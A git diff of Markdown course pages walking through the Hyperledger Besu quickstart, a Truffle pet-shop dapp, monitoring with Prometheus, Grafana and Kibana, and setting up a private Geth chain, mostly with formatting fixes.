Wei). The balance is always in Wei, or 10^-18 Ether. +The alloc field creates three addresses on our network, The balance can be passed in as a decimal (like the second and third account, which are both 900 ETH, or 2\*10^20 Wei) OR a hexadecimal (like the first account, which is 200 ETH, or 2*10^20 Wei). The balance is always in Wei, or 10^-18 Ether. Deploying Your Genesis File Once you have created your genesis file, you will save it within the directory where your blockchain networks files will be kept. Do not save it within any of the Node or data folders, but rather at the top level. When it is time to start your network, you will use the flag +```text --genesis-file=../genesis.json +``` To start up your network using the genesis file use the following command: +```bash besu --genesis-file=../genesis.json - - +``` For more information, please see the Documentation. Part 4: Deploy the Pet Shop Decentralized Application within the dapps folder of the quorum-test-network directory We are now going to deploy a decentralized application (dapp) to our private network. From your terminal, change directory to the folder dapps, and then into pet-shop + +```bash cd dapps/pet-shop/ +``` Within this directory, you will find a file called custom_config and a script called run_dapp.sh - - run_dapp.sh looks like the following: +```sh #!/bin/bash set -e hash truffle 2>/dev/null || { - echo >&2 "This script requires truffle but it's not installed." - echo >&2 "Refer to documentation to fulfill requirements." - exit 1 +echo >&2 "This script requires truffle but it's not installed." +echo >&2 "Refer to documentation to fulfill requirements." +exit 1 } +``` +```bash rm -rf pet-shop-box git clone https://github.com/truffle-box/pet-shop-box.git -cp -r custom_config/* ./pet-shop-box/ +cp -r custom_config/\* ./pet-shop-box/ cd pet-shop-box/ npm install @@ -687,17 +763,17 @@ truffle test --network quickstartWallet docker build . -t quorum-dev-quickstart_pet_shop docker run -p 3001:3001 --name quorum-dev-quickstart_pet_shop --detach quorum-dev-quickstart_pet_shop +``` -This script is going to download from GitHub a Truffle box, which are pre-built dapps or templates for building your own dapp. In this case, the pet-shop dapp contains a smart contract called Adoption.sol, a front-end for this dapp written in react, which is a javascript library specifically for building front-ends and user interfaces, and the necessary dependencies needed to deploy the smart contract to an Ethereum network. The script is going to install truffle which is required in order to run commands using truffle, like truffle migrate. Truffle migrate is a command which specifically compiles our smart contract (Adoption.sol) into EVM bytecode and deploys it to the private network we have created. The script also downloads hdwallet-provider, which is used to create Ethereum accounts that we can use to interact with our decentralized application, and to send transactions on the private network we have created. The Ethereum accounts we have created will be imported into MetaMask. +This script is going to download from GitHub a Truffle box, which are pre-built dapps or templates for building your own dapp. In this case, the pet-shop dapp contains a smart contract called Adoption.sol, a front-end for this dapp written in react, which is a javascript library specifically for building front-ends and user interfaces, and the necessary dependencies needed to deploy the smart contract to an Ethereum network. The script is going to install truffle which is required in order to run commands using truffle, like truffle migrate. Truffle migrate is a command which specifically compiles our smart contract (Adoption.sol) into EVM bytecode and deploys it to the private network we have created. The script also downloads hdwallet-provider, which is used to create Ethereum accounts that we can use to interact with our decentralized application, and to send transactions on the private network we have created. The Ethereum accounts we have created will be imported into MetaMask. If you want to familiarize yourself with Truffle, you can walk through a tutorial here. For our current tutorial, we are using the private network created by the quorum quickstart as our local test blockchain network. Within the folder custom_config, we have our Smart Contract - Adoption.sol - - Adoption.sol is a simple smart contract written in solidity. It looks like this: +```javascript pragma solidity ^0.5.0; contract Adoption { @@ -717,58 +793,67 @@ contract Adoption { } } +``` A detailed description of this smart contract, along with a tutorial to build it can be found on the Truffle website. We are going to give you a quick overview of the contract in order to contextualize what happens once it is deployed to our private blockchain. Let us take a look at the smart contract to better understand what it does: +```text pragma solidity ^0.5.0; +``` This first line of code tells us the smart contract is written for Solidity version 0.5.0 or higher, and will be compatible with 0.5.0 and higher. +```text contract Adoption { address[16] public adopters; +``` These two lines of code do the following: contract Adoption { declares an object of type contract. If you want to learn more about this object type, the Solidity documentation has a nice explanation of a Contract object. In this example, anything after the { (the brackets) will define the contract object - what it can do and what it can store on the blockchain. -address[16] public adopters; instantiates 16 addresses in an array which we have given the variable name “adopters”. These addresses are public, which means they can be accessed from outside of this contract as well as inside the contract. +address[16] public adopters; instantiates 16 addresses in an array which we have given the variable name “adopters”. These addresses are public, which means they can be accessed from outside of this contract as well as inside the contract. +```javascript // Adopting a pet function adopt(uint petId) public returns (uint) { require(petId >= 0 && petId <= 15); adopters[petId] = msg.sender; return petId; } +``` The first line is a comment, which will not be compiled but gives us information that the following function is for adopting a pet. The function, adopt, takes in a unsigned integer called petID, and checks if it is between 0 and 15. If it is, then the address at the location of the the petID within the adopters array is assigned to the account that called the adopt function (adopters[petID] = msg.sender is the specific code). Then the petID is returned. The second function: +```javascript // Retrieving the adopters function getAdopters() public view returns (address[16] memory) { return adopters; } +``` -returns the array of addresses of the adopters. +returns the array of addresses of the adopters. Now that we understand the smart contract,we run the command ./run_dapp.sh in the terminal within the pet-shop folder (which we should have already navigated into if you have been following along with each step). This is going to download all the dependencies, as well as compile and migrate our smart contract to the private network we have created using the Quorum quickstart, and spin up a front end that will allow us to “adopt” some group of 16 pets. When you run it, there will be many downloads. You know that the script has successfully run when you reach the following: -Here we can see that Truffle has deployed the Migrationsmart contract and has now deployed it to the Hyperledger Besu based blockchain network we have spun up. If we take the contract address: 0x345cA3e014Aaf5dcA488057592ee47305D9B3e10 +Here we can see that Truffle has deployed the Migration smart contract and has now deployed it to the Hyperledger Besu based blockchain network we have spun up. If we take the contract address: `0x345cA3e014Aaf5dcA488057592ee47305D9B3e10` -that is listed here and navigate in a web browser to the block explorer (go to your browser and type in: http://localhost:25000/, then paste in the contract address: 0x345cA3e014Aaf5dcA488057592ee47305D9B3e10 +that is listed here and navigate in a web browser to the block explorer (go to your browser and type in: [http://localhost:25000]([https://](http://localhost:25000)){target=\_blank}, then paste in the contract address: `0x345cA3e014Aaf5dcA488057592ee47305D9B3e10` -We will see the following information about our deployed smart contract: +We will see the following information about our deployed smart contract: -We can also use the block explorer to look up other information, like the externally owned account (in the >account field, which for our specific example is: 0x627306090abaB3A6e1400e9345bC60c78a8BEf57) +We can also use the block explorer to look up other information, like the externally owned account (in the >account field, which for our specific example is: `0x627306090abaB3A6e1400e9345bC60c78a8BEf57`) -We are able to see the ETH balance for that account. The ETH used in this example is not mainnet ETH, and it is only used for testing purposes. +We are able to see the ETH balance for that account. The ETH used in this example is not mainnet ETH, and it is only used for testing purposes. -From this step, we hope that you can see how you can use the quickstart to deploy a decentralized application. Thus, the quickstart provides you with a template of being able to test a decentralized application of your own that you build. Let’s look at the dapp by going to our browser and typing in http://localhost:3001. We will arrive at the following screen, and MetaMask, which we installed in Part 3, will pop up for us and ask which account we want to connect to the application. +From this step, we hope that you can see how you can use the quickstart to deploy a decentralized application. Thus, the quickstart provides you with a template of being able to test a decentralized application of your own that you build. Let’s look at the dapp by going to our browser and typing in [http://localhost:3001]([https://](http://localhost:3001)){target=\_blank}. We will arrive at the following screen, and MetaMask, which we installed in Part 3, will pop up for us and ask which account we want to connect to the application. Hitting adopt will prompt MetaMask to pop-up and adopt the pet: @@ -778,17 +863,26 @@ Issues you may encounter and how to solve them When you run /.run_dapp.sh you may get the following error: -The Error: ***Deployment Failed *** -“Migrations” --Wrong chainId means that within the deployment.js file, the chainID (which chain you are deploying to) was incorrectly specified. +The Error: + +```text +**Deployment Failed** +“Migrations” --Wrong chainId means that within the deployment.js file, the chainID (which chain you are deploying to) was incorrectly specified. +``` If that is the case, you should run the npx quorum-dev-quickstart again, as this means you are on an older version of the quickstart that does not have the most up to date versions of truffle and hd-wallet provider. Specifically, you need to be on 1.4.0 and above of hd-wallet provider. Versions 1.3.0 and 1.3.1 will not work work with the quickstart (though users will see that version 1.2.6 will still work with the quickstart). Make sure you are on version 0.0.21 of the quickstart or higher to avoid this issue. If there is no UI that appears at localhost:3001 after running the script ./run_dapp.sh, navigate to the pet-shop-box folder: +```bash cd pet-shop-box +``` + amd use the command +```bash npm run dev +``` to start up the front end in our browser. If this runs successfully, we will get the following output in the terminal: @@ -799,35 +893,30 @@ There are monitoring tools included in the quickstart, which allow us to learn a The first is Prometheus - an open source monitoring tool that pulls data from the services that it is connected to - like nodes, databases, validators, servers, etc - and allows for that data from these services to be use in alerts and notifications. For example, if the memory usage of a certain node on your network exceeds a defined threshold, Prometheus is able to track this and alert you so you can take the appropriate action to ensure your network continues to run properly. In the case of a failure, Prometheus provides the data from the various services to allow for troubleshooting the issue. Prometheus pulls the data and stores it in a database, and then allows you or a data visualization tool to query that data. -When you install and run the quickstart, you will get access to Prometheus at http://localhost:9090/graph. If you enter this address into a web browser, you will see the following: +When you install and run the quickstart, you will get access to Prometheus at [http://localhost:9090/graph](http://localhost:9090/graph){target=\_blank}. If you enter this address into a web browser, you will see the following: What exactly is Prometheus monitoring? To see the details, you can navigate to the config folder within your quorum-test-network directory. Opening the prometheus folder will reveal a prometheus.yml file. If you open that with a text editor (like Visual Studio Code or Vim) you will see that Prometheus is configured by the quickstart to scrape data from each validator, the rpcnode, and each member of the network every 15 seconds, and to store that data in the /metrics pathway, so that you can query it. Below is a screenshot of the first 28 of the total 129 lines of the prometheus.yml file The metrics we have access to can be seen by navigating and clicking on the curricular icon next to the Execute button in the right upper side of the screen. -This will reveal the list of metrics that you can query Promtheus to return data for: - -If we choose ethereum_peer_count, it will return the number of peers on the network, which for this example is seven +This will reveal the list of metrics that you can query Prometheus to return data for: -If we type in the following query into the search bar (the part of the user interface with “Expression (press Shift+Enter for newlines) +- If we choose `ethereum_peer_count`, it will return the number of peers on the network, which for this example is seven +- If we type in the following query into the search bar - the part of the user interface with “Expression (press Shift+Enter for newlines - `besu_blockchain_difficulty_total`, we will get back Prometheus the data on the total difficulty for each participant node in our network. -besu_blockchain_difficulty_total - -We will get back the following a result of our query that will look similar to the the below screenshot: - -This query is asking Prometheus to return data on the total difficulty for each participant node in our network. - -Prometheus has an integration with Granfana - an observability platform that takes in data - in this case from our private blockchain via Prometheus - and displays the outputs as visualizations. This allows us to make sense of what is occurring in our private network over time. The quickstart manages the connection of the data from Prometheus to pre-built dashboards in Grafana. If you navigate to http://localhost:3000/d/XE4V0WGZz/besu-overview?orgId=1&refresh=10s&from=now-30m&to=now&var-system=All, the metrics from Prometheus will be displayed in a Grafana dashboard, providing us with the metrics in tabular and graphical format. +Prometheus has an integration with Grafana - an observability platform that takes in data - in this case from our private blockchain via Prometheus - and displays the outputs as visualizations. This allows us to make sense of what is occurring in our private network over time. The quickstart manages the connection of the data from Prometheus to pre-built dashboards in Grafana. If you navigate to [http://localhost:3000/d/XE4V0WGZz/besu-overview?orgId=1&refresh=10s&from=now-30m&to=now&var-system=All](http://localhost:3000/d/XE4V0WGZz/besu-overview?orgId=1&refresh=10s&from=now-30m&to=now&var-system=All){target=\_blank}, the metrics from Prometheus will be displayed in a Grafana dashboard, providing us with the metrics in tabular and graphical format. This format makes exploring the data retrieved from Prometheus easier, and allows us to explore many metrics simultaneously. -Logs are available via Elasticsearch, Logstash, and Kibana (ELK). ELK allows us to take in process, search, transform, and display data. In the Quickstart, this is configured specifically to ingest the Besu logs. As a reminder, navigating to the terminal and running the script +Logs are available via Elasticsearch, Logstash, and Kibana (ELK). ELK allows us to take in process, search, transform, and display data. In the Quickstart, this is configured specifically to ingest the Besu logs. As a reminder, navigating to the terminal and running the script +```bash ./list.sh +``` This script will show the various endpoints and services available in the quickstart - +```bash ************************************* Quorum Dev Quickstart ************************************* @@ -844,20 +933,22 @@ Collated logs using Kibana endpoint : http://localhost:5601/app/kibana#/discover For more information on the endpoints and services, refer to README.md in the installation directory. **************************************************************** +``` Navigating to the Collated logs using Kibana endpoint using your browser -http://localhost:5601/app/kibana#/discover +[http://localhost:5601/app/kibana#/discover](http://localhost:5601/app/kibana#/discover){target=\_blank} -This will pull up a Kibana dashboard +This will pull up a Kibana dashboard The logs are pulled automatically by the setup of the Quickstart. For more information about configuring Kibana on your own, you can see an overview within the documentation. Part 6: Deploy a second Smart Contract to the network and send a private transaction -Now we are going to take another smart contract and deploy it to our network. This will be a simple smart contract, and the goal of deploying it is to demonstrate the use of private transactions in the network.. This smart contract is already installed as part of the quickstart, and you can find it in the folder smart_contracts. +Now we are going to take another smart contract and deploy it to our network. This will be a simple smart contract, and the goal of deploying it is to demonstrate the use of private transactions in the network.. This smart contract is already installed as part of the quickstart, and you can find it in the folder smart_contracts. -Navigate to the smart_contracts folder using the command cd smart_contracts and you can look at that smart contract EventEmitter.sol: +Navigate to the smart_contracts folder using the command `cd smart_contracts` and you can look at that smart contract *EventEmitter.sol*: +```javascript pragma solidity ^0.7.0; // compile with: @@ -888,30 +979,36 @@ contract EventEmitter { return _sender; } } +``` Run the commands +```bash npm install node scripts/deploy.js +``` which will deploy the EventEmitter.sol smart contract that is in the contracts folder and send a private transaction from Member1 to Member3 of the network. The private transaction, in this example, is the sending of a value from Member1 to Member3. If we look inside the deploy.js script, we will see that the value being sent from Member1 to Member3 is 47 (see line 89 within the deploy.js file) - Alt Text: Private Transaction example output Looking at this output in the terminal, the following has occurred. The smart contract EventEmitter.sol was migrated and deployed to our network. This is confirmed by the following outputs: -Getting contractAddress from txHash: 0x022cc35254299433dbda514a979ed7a9a93a45ead383efec4ad5a84e8a817f3e +```bash +Getting contractAddress from txHash: 0x022cc35254299433dbda514a979ed7a9a93a45ead383efec4ad5a84e8a817f3e Waiting for transaction to be mined ... Private Transaction Receipt: [object Object] Contract deployed at address: 0xdb6172b4ed41f7039cac4d0be4dbb9992c755809 +``` -Once the EventEmitter.sol contract was deployed, Member1 sent a private transaction to Member3. Member1 and Member3 can see the value within the transaction, which has been hashed, as +Once the *EventEmitter.sol* contract was deployed, Member1 sent a private transaction to Member3. Member1 and Member3 can see the value within the transaction, which has been hashed, as +```text Member1 value from deployed contract is: 0x000000000000000000000000000000000000000000000000000000000000002f Member3 value from deployed contract is: 0x000000000000000000000000000000000000000000000000000000000000002f +``` -Member2, which was not included in the private transaction, is unable to see that value, and gets a returned value of 0x. +Member2, which was not included in the private transaction, is unable to see that value, and gets a returned value of 0x. Member2 value from deployed contract is: 0x @@ -919,18 +1016,21 @@ What has been demonstrated here is that two Members can send transactions betwee For more information, please see the Documentation. - Congratulations! You have successfully run through many of the features of Hyperledger Besu. Other Ways to Start Hyperledger Besu Hyperledger Besu starts and is controlled through the command line interface (CLI) of your computer, as seen in this tutorial. If we did not use the quickstart, we would download Hyperledger Besu and run it via the command line. For example, when a Hyperledger Besu node is started up to connect to mainnet, this is done by running the command: +```bash besu +``` In the command line. This command is actually calling a bunch of default options and subcommands that tell the client software how to set up the node. When we call the above command, behind the scenes we are actually calling: +```bash besu --network=mainnet --datapath=besu --api-gas-price-blocks=100 --api-gas-price-max=500000000000 --api-gas-price-percentile=50.0 --bootnodes=enode://c35c3...d615f@1.2.3.4:30303,enode://f42c13...fc456@1.2.3.5:30303 --config-file=none --discovery-enabled=true --miner-coinbase= --min-gas-price=1000 +``` This is quite a bit longer than running the besu command! What we are trying to illustrate is the fact that besu is very customizable, but we have to use specific syntax (options and subcommands) in the command line in order to customize the node(s) and network created upon starting up Besu. @@ -938,40 +1038,54 @@ The above is an example of the options and subcommands that apply to creating a What is an option? What is a subcommand? When using the CLI, we call commands. These commands are programs (they may also sometimes be classified as scripts) that tell the computer to do a specific set of actions. When Hyperledger Besu is installed on your computer, it creates a global command besu - which tells your computer to run the Besu client with the default options and subcommands we showed above. Let’s walk through some of those in more detail. Options: --network -Options are variables that work with the base command of besu. One example option is +Options are variables that work with the base command of besu. One example option is +```text --network= +``` When we run the besu command, the default network is mainnet, so running +```bash besu +``` -or +or +```bash besu --network=mainnet +``` -accomplishes the same outcome - Hyperledger Besu starts the process of connecting to mainnet. +accomplishes the same outcome - Hyperledger Besu starts the process of connecting to mainnet. But, we can tell Hyperledger Besu to connect to different networks, including a local testnet on our computer. If we wanted Hyperledger Besu to connect to the testnet Rinkeby, we would use the option: -besu --network=rinkeby +```bash +besu --network=goerli +``` If we want Besu to start locally on our computer as a private PoW network, the network option becomes +```bash besu --network=dev +``` You are now starting to see how an option modifies the command besu. Subcommands: blocks Subcommands are programs that tell the computer to run an additional operation. An example of a subcommand is +```bash besu blocks export [--start-block=] [--end-block=] --to= +``` This highlighted subcommand tells Hyperledger Besu to export a block or a range of blocks from storage to a file in an RLP format. In practice this would be called like: +```bash besu blocks export --start-block=100 --end-block=300 --to=/home/exportblock.bin +``` We have told Hyperledger Besu to export from mainnet the blocks 100 to 300 from mainnet to the location on our computer ~/home/exportblock.bin diff --git a/docs/S02-ethereum/M5-installing-geth/index.md b/docs/S02-ethereum/M5-installing-geth/index.md index 2ffe634c..3ccc5192 100644 --- a/docs/S02-ethereum/M5-installing-geth/index.md +++ b/docs/S02-ethereum/M5-installing-geth/index.md @@ -1,89 +1,90 @@ +# Geth + ## Setting up Geth -[Geth (Go-Ethereum)](https://geth.ethereum.org/){target=_blank} is a command line interface for running a full ethereum node implemented in Go. This is your local portal to the Ethereum network. When you are running a local Ethereum node, you do not need to rely on any 3rd party service to connect to the Ethereumblockchain. This is what makes the network “trustless”. +[Geth (Go-Ethereum)](https://geth.ethereum.org/){target=\_blank} is a command line interface for running a full ethereum node implemented in Go. This is your local portal to the Ethereum network. When you are running a local Ethereum node, you do not need to rely on any 3rd party service to connect to the Ethereum blockchain. This is what makes the network “trustless”. ### Capabilities By installing and running geth, you can take part in the Ethereum live network and -1. Mine real ether -2. Transfer funds between addresses -3. Create contracts and send transactions -4. Explore block history -5. And much more! +1. Mine real ether +2. Transfer funds between addresses +3. Create contracts and send transactions +4. Explore block history +5. And much more! ### Interfaces Geth has several interfaces through which you can communicate with your Ethereum node. -* JavaScript Console: you can start geth with an interactive console, that provides a javascript runtime environment exposing a javascript API to interact with your node. The [JavaScript Console API](https://github.com/ethereum/go-ethereum/wiki/JavaScript-Console){target=_blank} includes the web3 javascript Ðapp API as well as an 'admin' API. -* JSON-RPC server: you can start geth with a json-rpc server that exposes the [JSON-RPC API](https://github.com/ethereum/wiki/wiki/JSON-RPC){target=_blank} -* [Command line options](https://github.com/ethereum/go-ethereum/wiki/Command-Line-Options){target=_blank} documents command line parameters as well as subcommands. +- JavaScript Console: you can start geth with an interactive console, that provides a javascript runtime environment exposing a javascript API to interact with your node. The [JavaScript Console API](https://geth.ethereum.org/docs/interacting-with-geth/javascript-console){target=\_blank} includes the web3 javascript Ðapp API as well as an 'admin' API. +- JSON-RPC server: you can start geth with a json-rpc server that exposes the [JSON-RPC API](https://github.com/ethereum/execution-apis){target=\_blank} +- [Command line options](https://geth.ethereum.org/docs/fundamentals/command-line-options){target=\_blank} documents command line parameters as well as subcommands. -[See this page](https://geth.ethereum.org/docs/install-and-build/installing-geth){target=_blank} for instructions on how to install geth for your platform. +[See this page](https://geth.ethereum.org/docs/getting-started/installing-geth){target=\_blank} for instructions on how to install geth for your platform. Install geth and start interacting with our node. Once you install geth, open a new terminal window and type -``` +```bash geth ``` - - You will see something like the following. -![](https://learn.consensys.net/images/screenshot1.png)![screenshot1.png](https://files.cdn.thinkific.com/file_uploads/205430/images/776/ae3/180/1595097113885.jpg) +![Geth running](https://files.cdn.thinkific.com/file_uploads/205430/images/776/ae3/180/1595097113885.jpg) Geth starts to look for and connect to peers on the Ethereum network. Once geth finds a peer, it starts syncing blockchain data, importing block headers, block receipts and state entries. You can stop the process with “Ctrl + C”. Geth also opens an ipc endpoint through which you can connect to your node. If you type: -``` +```bash geth attach [path to the ipc endpoint] -``` +``` -in another terminal window, the [geth javascript console](https://github.com/ethereum/go-ethereum/wiki/JavaScript-Console){target=_blank} will appear. In my case, I typed +in another terminal window, the [geth javascript console](https://geth.ethereum.org/docs/interacting-with-geth/javascript-console){target=\_blank} will appear. In my case, I typed -``` +```bash geth attach ~/.ethereum/geth.ipc ``` -![](https://learn.consensys.net/images/screenshot2.png)![screenshot2.png](https://files.cdn.thinkific.com/file_uploads/205430/images/582/86a/0d0/1595097114702.jpg) - +![Geth Javascript console](https://files.cdn.thinkific.com/file_uploads/205430/images/582/86a/0d0/1595097114702.jpg) if you are on Windows, you have to access the javascript console using the pipe geth created by typing the following: -``` +```bash geth attach ipc:\\.\pipe\geth.ipc ``` Or when you start geth, you can type -``` +```bash geth console ``` and geth will start with the javascript console already displayed. Geth will continue to print logs, which can be annoying when you are typing in the console. To silence the logs, enter -``` +```javascript debug.verbosity(0) ``` in the console. Type exit to exit the javascript console. -Geth defaults to sync with the main network, but we can sync with any network that we want.  +Geth defaults to sync with the main network, but we can sync with any network that we want. ### Creating an Ethereum Account Before we launch our private blockchain, let's setup an Ethereum account on Geth. Run: -
geth account new
+```bash +geth account new +``` Be sure to remember your password! You should see something like this: -![](https://files.cdn.thinkific.com/file_uploads/205430/images/f5e/417/a61/Screen_Shot_2020-09-08_at_3.50.48_PM.png) +![Geth: creating new account](https://files.cdn.thinkific.com/file_uploads/205430/images/f5e/417/a61/Screen_Shot_2020-09-08_at_3.50.48_PM.png) Your account number will look different from the image. Copy the address down somewhere, we'll need it for the next step! @@ -96,22 +97,22 @@ Every blockchain starts with a genesis block, the first block. To create our own Create a new file called `genesis.json` and paste in the following: ```json -{ -  "config": { -        "chainId": 4568, -        "homesteadBlock": 0, -        "eip150Block": 0, -        "eip155Block": 0, -        "eip158Block": 0 -    }, -  "alloc"      : {}, -  "difficulty" : "0x100", -  "extraData"  : "", -  "gasLimit"   : "0x7A1200", -  "parentHash" : "0x0000000000000000000000000000000000000000000000000000000000000000", -  "timestamp"  : "0x00" +{ + "config": { + "chainId": 4568, + "homesteadBlock": 0, + "eip150Block": 0, + "eip155Block": 0, + "eip158Block": 0 + }, + "alloc": {}, + "difficulty": "0x100", + "extraData": "", + "gasLimit": "0x7A1200", + "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "timestamp": "0x00" } -``` +``` So what's in this genesis file? @@ -135,7 +136,7 @@ The Ethereum protocol has hard forked and introduced several backward-incompatib Then we need to initialize the geth node with the custom genesis file. In your private blockchain directory, run: -``` +```bash geth --datadir . init genesis.json ``` @@ -143,25 +144,31 @@ The last line of output in the console should say `Successfully wrote genesis st If you're on a Mac, run: -
geth --allow-insecure-unlock --datadir . --keystore ~/Library/ethereum/keystore --networkid 4568 --http --http.addr '0.0.0.0' --http.corsdomain "*" --http.port 8502 --http.api 'personal,eth,net,web3,txpool,miner' --mine --miner.etherbase=YOUR_ETHEREUM_ADDRESS_HERE
+```bash
+geth --allow-insecure-unlock --datadir . --keystore ~/Library/ethereum/keystore --networkid 4568 --http --http.addr '0.0.0.0' --http.corsdomain "*" --http.port 8502 --http.api 'personal,eth,net,web3,txpool,miner' --mine --miner.etherbase=YOUR_ETHEREUM_ADDRESS_HERE
 
-
+ +``` If you're on Linux, run: -
geth --allow-insecure-unlock --datadir . --keystore ~/.ethereum/keystore --networkid 4568 --http --http.addr '0.0.0.0' --http.corsdomain "*" --http.port 8502 --http.api 'personal,eth,net,web3,txpool,miner' --mine --miner.etherbase=YOUR_ETHEREUM_ADDRESS_HERE
+```bash +geth --allow-insecure-unlock --datadir . --keystore ~/.ethereum/keystore --networkid 4568 --http --http.addr '0.0.0.0' --http.corsdomain "*" --http.port 8502 --http.api 'personal,eth,net,web3,txpool,miner' --mine --miner.etherbase=YOUR_ETHEREUM_ADDRESS_HERE +``` Put the Ethereum address generated earlier instead of **YOUR_ETHEREUM_ADDRESS_HERE**. You should see something like: -![](https://learn.consensys.net/images/screenshot3.png)![screenshot3.png](https://files.cdn.thinkific.com/file_uploads/205430/images/4ee/0eb/900/Screen_Shot_2020-09-08_at_4.01.08_PM.png) +![Geth: running private network](https://files.cdn.thinkific.com/file_uploads/205430/images/4ee/0eb/900/Screen_Shot_2020-09-08_at_4.01.08_PM.png) In a new terminal window, cd to the private directory and run: -
geth attach geth.ipc
+```bash +geth attach geth.ipc +``` You should see something like this: -![](https://files.cdn.thinkific.com/file_uploads/205430/images/bec/4fb/450/Screen_Shot_2020-09-08_at_3.45.47_PM.png) +![Geth: javascript console for private network](https://files.cdn.thinkific.com/file_uploads/205430/images/bec/4fb/450/Screen_Shot_2020-09-08_at_3.45.47_PM.png) In the console, type `web3`. This will print all of the commands available via the console. @@ -171,19 +178,23 @@ If you navigate to the `test-private-blockchain` data directory, you will see tw You can access all of your geth accounts with `eth.accounts` and it will print them in an array. +```javascript > eth.accounts ["0x1c29b7832ad2e4731d816e60f767777cbf374e15", "0x01058d7d56a216b3f1ff8f41c20ad58888424de7"] +``` You can check the balance of an account with the `eth.getBalance()` method and entering the account. +```javascript > eth.getBalance(eth.accounts[0]) 0 +``` ### Mining the private chain Since the private blockchain is maintaining consensus using proof of work, we need to mine new blocks to process transactions. -To start mining, just run `miner.start()`. Geth needs to build a DAG before the miner starts, but once it does that it will start mining blocks on the private chain. After a few blocks are mined, stop it with `miner.stop()`. [See this link](https://ethereum.stackexchange.com/questions/1993/what-actually-is-a-dag){target=_blank} for more information about what is going on when geth is creating a DAG. +To start mining, just run `miner.start()`. Geth needs to build a DAG before the miner starts, but once it does that it will start mining blocks on the private chain. After a few blocks are mined, stop it with `miner.stop()`. [See this link](https://ethereum.stackexchange.com/questions/1993/what-actually-is-a-dag){target=\_blank} for more information about what is going on when geth is creating a DAG. Check the ether balance of you first account now. It should contain some ether. The first `geth` account will default to the coinbase, or etherbase account, which is the account to which mining rewards are sent. You can check this with `eth.coinbase`. @@ -193,55 +204,67 @@ Now that we have some ether in our account, we can send some to another account. An ethereum transaction includes the following data: -from: String - The address for the sending account. Uses the web3.eth.defaultAccount property, if not specified. +`from:` String - The address for the sending account. Uses the web3.eth.defaultAccount property, if not specified. -to: String - (optional) The destination address of the message, left undefined for a contract-creation transaction. +`to:` String - (optional) The destination address of the message, left undefined for a contract-creation transaction. -value: Number|String|BigNumber - (optional) The value transferred for the transaction in Wei, also the endowment if it's a contract-creation transaction. +`value:` Number|String|BigNumber - (optional) The value transferred for the transaction in Wei, also the endowment if it's a contract-creation transaction. -gas: Number|String|BigNumber - (optional, default: To-Be-Determined) The amount of gas to use for the transaction (unused gas is refunded). +`gas:` Number|String|BigNumber - (optional, default: To-Be-Determined) The amount of gas to use for the transaction (unused gas is refunded). -gasPrice: Number|String|BigNumber - (optional, default: To-Be-Determined) The price of gas for this transaction in wei, defaults to the mean network gas price. +`gasPrice:` Number|String|BigNumber - (optional, default: To-Be-Determined) The price of gas for this transaction in wei, defaults to the mean network gas price. -data: String - (optional) Either a byte string containing the associated data of the message, or in the case of a contract-creation transaction, the initialisation code. +`data:` String - (optional) Either a byte string containing the associated data of the message, or in the case of a contract-creation transaction, the initialisation code. -nonce: Number - (optional) Integer of a nonce. This allows to overwrite your own pending transactions that use the same nonce. +`nonce:` Number - (optional) Integer of a nonce. This allows to overwrite your own pending transactions that use the same nonce. To send some ether to another account, first create another account. +```javascript > personal.newAccount() +``` Next initiate the transaction by specifying the to, the from and the value. +```javascript > eth.sendTransaction({to: eth.accounts[1], from: eth.accounts[0], value: 100}) +``` But this throws an error! `Error: authentication needed: password or unlock`. Geth requires that you unlock your account to send transactions from the account. +```javascript > personal.unlockAccount(eth.accounts[0]) Unlock account 0xabc... true +``` Now you can send a transaction from account 0. +```javascript > eth.sendTransaction({to: eth.accounts[1], from: eth.accounts[0], value: 100}) INFO [09-10|17:54:38.360] Setting new local account address=0x1c29B7832aD2E4731D816E60f767777CbF374E15 INFO [09-10|17:54:38.361] Submitted transaction fullhash=0xdec2391ee28a7997567e5176de995340cf09fd64dc823414f6bf763b1fd1e6ed recipient=0x01058d7d56a216B3F1FF8f41c20ad58888424dE7 "0xdec2391ee28a7997567e5176de995340cf09fd64dc823414f6bf763b1fd1e6ed" +``` Check the balance of account 1. +```javascript > eth.getBalance(eth.accounts[1]) 0 +``` It's still zero, because we are not running the miner. Start mining to process the transaction. You can stop mining after geth creates a block. Check the balance of account 1 again. +```javascript > eth.getBalance(eth.accounts[1]) 100 +``` It should say 100! You have successfully sent a transaction from one account to another over your single node Ethereum network! ## Additional Materials -- [Running Geth in `dev` Mode](https://geth.ethereum.org/docs/getting-started/dev-mode) - an optimized way to run a single node for developing locally +- [Running Geth in `dev` Mode](https://geth.ethereum.org/docs/developers/dapp-developer/dev-mode) - an optimized way to run a single node for developing locally diff --git a/docs/S02-ethereum/M6-Installing-besu/index.md b/docs/S02-ethereum/M6-Installing-besu/index.md index 7ec5b96f..494f7576 100644 --- a/docs/S02-ethereum/M6-Installing-besu/index.md +++ b/docs/S02-ethereum/M6-Installing-besu/index.md @@ -1,29 +1,35 @@ # Install a Full Besu Node using Bonsai Storage on Ubuntu Server - ## Who is this guide for + This guide is geared toward those who wish to set up an Ethereum Layer-1 node on a dedicated machine. This guide does not discuss using Docker or running this in a virtual machine. -The example node software here is using [Besu](https://besu.hyperledger.org/en/stable/){target=_blank}, however, installating other clients such as Erigon, Geth, OpenEthereum or others will utilise a lot of the same concepts. Future material may cover specific setups for the other clients. +The example node software here is using [Besu](https://besu.hyperledger.org/en/stable/){target=\_blank}, however, installing other clients such as Erigon, Geth, OpenEthereum or others will utilize a lot of the same concepts. Future material may cover specific setups for the other clients. -Something important to consider when running a node is [client diversity](https://ethereum.org/en/developers/docs/nodes-and-clients/client-diversity/#client-diversity-importance){target=_blank}. Having diversity is important for stability of the network, specifically in the event a flaw is found in one of the clients. If those nodes had to go offline to prevent exploits, the others can continue unaffected. To see a breakdown of known clients (not all nodes appear here, but it illustrates diversity) go to [etherenodes.org](https://ethernodes.org/){target=_blank}. +Something important to consider when running a node is [client diversity](https://ethereum.org/en/developers/docs/nodes-and-clients/client-diversity/#client-diversity-importance){target=\_blank}. Having diversity is important for stability of the network, specifically in the event a flaw is found in one of the clients. If those nodes had to go offline to prevent exploits, the others can continue unaffected. To see a breakdown of known clients (not all nodes appear here, but it illustrates diversity) go to [etherenodes.org](https://ethernodes.org/){target=\_blank}. ### Why run a node? + - Contribute to the network and broader ecosystem - Be your own bank - send your own transactions via your node - validate your account state is correct - trustless - not be concerned with DNS exploited RPC urls - Gain insight into what it takes learning something along the way (hopefully) + --- + ### TL;DR + - 